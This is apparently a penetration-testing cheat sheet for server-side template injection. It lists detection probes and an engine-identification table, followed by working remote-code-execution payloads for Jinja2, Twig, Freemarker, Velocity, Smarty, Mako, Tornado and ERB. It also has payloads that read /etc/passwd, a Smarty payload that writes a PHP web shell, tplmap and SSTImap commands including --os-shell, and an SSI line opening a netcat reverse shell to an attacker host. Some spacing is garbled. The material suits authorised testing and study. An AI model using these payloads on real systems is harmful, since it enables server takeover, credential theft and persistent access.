Server-Side Template Injection (SSTI)
# Test SSTI payloads: {{7*7}} ${7*7} <%= 7*7 %>
for p in ' {{7*7}}' ' ${7*7}' ' <%= 7*7 %>' ; do echo " Test: $p -> if returns 49, vulnerable" ; done
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
@(7*7)
{{7*'7'}}
Inject math operation: {{7*7}}
If output is 49 → Likely vulnerable
If output is {{7*7}} → Not vulnerable or different syntax
Try other syntaxes: ${7*7}, <%= 7*7 %>
Template Engine Identification
Payload
Jinja2/Twig
Smarty
Freemarker
Velocity
{{7*7}}
49
49
49
-
${7*7}
-
-
49
49
{{7*'7'}}
7777777
49
Error
-
<%= 7*7 %>
-
-
-
- (ERB)
{{7*7}}
{{7*'7'}}
{{config.items()}}
{{config}}
{{config.items()}}
{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{''.__class__.__mro__[1] .__subclasses__()}}
{{''.__class__.__base__.__subclasses__()}}
# Note: Index [408] varies by Python version - find subprocess.Popen with:
# {{''.__class__.__mro__[1] .__subclasses__()}} then search for Popen
{{''.__class__.__mro__[1] .__subclasses__()[<index>] ('id',shell=True,stdout=-1).communicate()}}
{{config.__class__.__init__.__globals__['os'] .popen('id').read()}}
{{request.__class__._load_form_data.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{request.application.__self__._get_data_for_json.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{ [] .__class__.__base__.__subclasses__() }}
{{7*7}}
{{7*' 7' }}
{{_self .env .display (" TEST" )}}
{{" /etc/passwd" | file_excerpt(1 ,30 )}}
{{_self .env .registerUndefinedFilterCallback (" exec" )}}{{_self .env .getFilter (" id" )}}
{{[' id' ]| filter(' system' )}}
{{[' cat /etc/passwd' ]| filter(' exec' )}}
{{app .request .server .all | join (' ,' )}}
$ {7 *7 }
<#assign x = 7 *7 >$ {x }
<#assign ex ="freemarker.template.utility.Execute" ?new ()> $ { ex ("id" ) }
$ {"freemarker.template.utility.Execute" ?new ()("id" )}
[#assign ex = 'freemarker.template.utility.Execute' ?new ()]$ { ex ('id' )}
#set ($x = 7 *7 )$ {x }
$class
#set ($str =$class .inspect ("java.lang.String" ).type )
#set ($chr =$class .inspect ("java.lang.Character" ).type )
#set ($ex =$class .inspect ("java.lang.Runtime" ).type .getRuntime ().exec ("id" ))
$ex .waitFor ()
#set ($out =$ex .getInputStream ())
#foreach ($i in [1. .$out .available ()])$chr .toChars ($out .read ())#end
{php}echo `id `;{/php}
{system ('id ' )}
{Smarty_Internal_Write_File::writeFile($ SCRIPT_NAME ,"<?php passthru( $ _GET ['cmd']); ?> ",self::clearConfig())}
< % import os ; x = os .popen ('id' ).read () % > ${x }
${self .module .cache .util .os .popen ('id' ).read ()}
{% import os % }{{os .system ('id' )}}
{% import os % }{{os .popen ('id' ).read ()}}
#{ root . process . mainModule . require ( 'child_process' ) . spawnSync ( 'id' ) . stdout }
<%= system ( "id" ) %>
<%= `id` %>
<%= IO . popen ( 'id' ) . readlines ( ) %>
https://github.com/epinna/tplmap
# Basic usage
python tplmap.py -u ' http://$rhost/page?name=test'
# POST request
python tplmap.py -u ' http://$rhost/page' --data ' name=test'
# OS Shell
python tplmap.py -u ' http://$rhost/page?name=test' --os-shell
https://github.com/vladko312/SSTImap
python sstimap.py -u ' http://$rhost/page?name=test'
python sstimap.py -u ' http://$rhost/page?name=test' -e Jinja2
<!--#echo var="DATE_LOCAL" -->
<!--#printenv -->
<!--#exec cmd="id" -->
<!--#exec cmd="whoami" -->
<!--#exec cmd="cat /etc/passwd" -->
<!--#exec cmd="mkfifo /tmp/foo;nc $lhost $lport 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
Engine
Detection
RCE
Jinja2
{{7*'7'}} → 7777777
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig
{{7*'7'}} → 49
{{['id']|filter('system')}}
Freemarker
${7*7}
${"freemarker.template.utility.Execute"?new()("id")}
Velocity
#set($x = 7*7)${x}
Runtime.getRuntime().exec()
Smarty
{$smarty.version}
{system('id')}
Mako
${7*7}
<%import os; x=os.popen('id').read() %>${x}
Tornado
{{7*7}}
{% import os %}{{os.popen('id').read()}}
ERB
<%= 7*7 %>
<%= system("id") %>
Reverse Shell & Post-Exploitation